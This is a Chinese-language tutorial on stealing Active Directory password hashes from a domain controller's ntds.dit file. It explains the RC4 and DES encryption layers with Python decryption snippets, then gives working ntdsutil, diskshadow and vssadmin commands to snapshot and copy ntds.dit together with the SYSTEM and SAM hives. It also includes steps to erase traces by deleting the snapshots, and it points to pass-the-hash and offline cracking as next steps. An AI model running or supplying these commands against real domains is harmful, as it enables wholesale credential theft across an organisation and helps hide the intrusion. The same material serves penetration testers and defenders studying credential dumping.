-
应用背景
通常情况下,即使拥有管理员权限,也无法读取域控中的 C:\Windows\NTDS\ntds.dit,ntds 中存储 AD 数据,包括有关用户对象,组和组成员身份的信息,包括域中所有用户的密码 hash,如果攻击者拿到了这个文件,可以用 mimikatz 实现 PTH 攻击,或者离线用 Hashcat 破解。
这个文件和 SAM 文件一样,是被操作系统锁定的,一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现 ntds.dit 的拷贝。
一般域环境内最重要的三个文件如下:ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit system文件位置:C:\\Windows\\System32\\config\\SYSTEM sam文件位置:C:\\Windows\\System32\\config\\SAM
-
NTDS 的加密
加密方式是 2 层 RC4 + 1 层 DES,如果解密必须执行以下步骤:
1.使用启动密钥(RC4-第1层)解密PEK(密码加密密钥) 2.第一轮哈希解密(使用PEK和RC4-第2层) 3.第二轮哈希解密(DES-第3层)
首先是要解密 PEK,PEK或密码加密密钥用于加密NTDS.DIT中存储的数据。该密钥在整个域中都是相同的,这意味着在所有域控制器上它都是相同的。
PEK本身也以加密形式存储在NTDS.DIT中。为了对其进行解密,将需要来自获得NDTS.DIT文件的同一域控制器中的注册表(SYSTEM配置单元)。这是因为PEK是使用BOOTKEY加密的,该BOOTKEY在所有域控制器(实际上在域中的所有计算机)上都是不同的。
为了解密 PEK,要从 NTDS.DIT 中获取 ATTk590689 字段,该值的长度位 76 个字节标头8字节 + RC4的密钥材料16字节 + 加密的PEK 52字节
解密后 PEK 密钥的实际是为最后 16 字节。当获得密钥后可用以下解密算法:
md5 = MD5.new() md5.update(bootkey) for i in range(1000): md5.update(enc_pek [0:16]) rc4_key = md5.digest(); rc4 = ARC4.new(rc4_key) pek = rc4.encrypt(enc_pek [16:]) return pek [36:]
现在已经获得了 PEK,下一步就是解密 ATTk589879 (加密的LM哈希 )和 ATTk589914 (加密的NT哈希) 属性中的哈希。
第二步是删除 RC4 加密层,解密 RC4 的密钥是 PEK 密钥 + 加密哈希的前16字节,加密哈希结构如下:标头8字节 + RC4的密钥材料16字节 + 加密的哈希16字节
python 实现代码:
md5 = MD5.new() md5.update(pek) md5.update(enc_hash [0:16]) rc4_key = md5.digest(); rc4 = ARC4.new(rc4_key) denc_hash = rc4.encrypt(enc_hash [16:])
最后是删除 DES 加密层
(des_k1,des_k2)= sid_to_key(rid) d1 = DES.new(des_k1,DES.MODE_ECB) d2 = DES.new(des_k2,DES.MODE_ECB) hash = d1.decrypt(denc_hash) [:8]+ d2.decrypt(denc_hash [8:])
-
抓取 ntds.dit
创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照:
ntdsutil snapshot "mount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
复制 ntds.dit
copy C:\SNAP_202202221846_VOLUMEC\windows\NTDS\ntds.dit c:\ntds.dit
现在在 c 盘已经可以看到 ntds.dit
之后要做一些清除痕迹的工作:
卸载快照:ntdsutil snapshot "unmount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
删除快照:
ntdsutil snapshot "delete {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
-
用 diskshadow 导出
diskshadow 执行文件中的命令
//设置卷影拷贝 set context persistent nowriters //添加卷 add volume c: alias someAlias //创建快照 create //分配虚拟磁盘盘符 expose %someAlias% z: //将ntds.dit复制到C盘中 exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit //删除所有快照 delete shadows all //列出系统中的卷影拷贝 list shadows all //退出 reset exit
执行(需要进入C:\Windows\System32目录下执行)
diskshadow /s C:\\command.txt
-
用 vssadmin 导出
vssadmin create shadow /for=c: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\ntds\ntds.dit c:\\ntds.dit vssadmin delete shadows /for=c: /quiet
-
参考文献: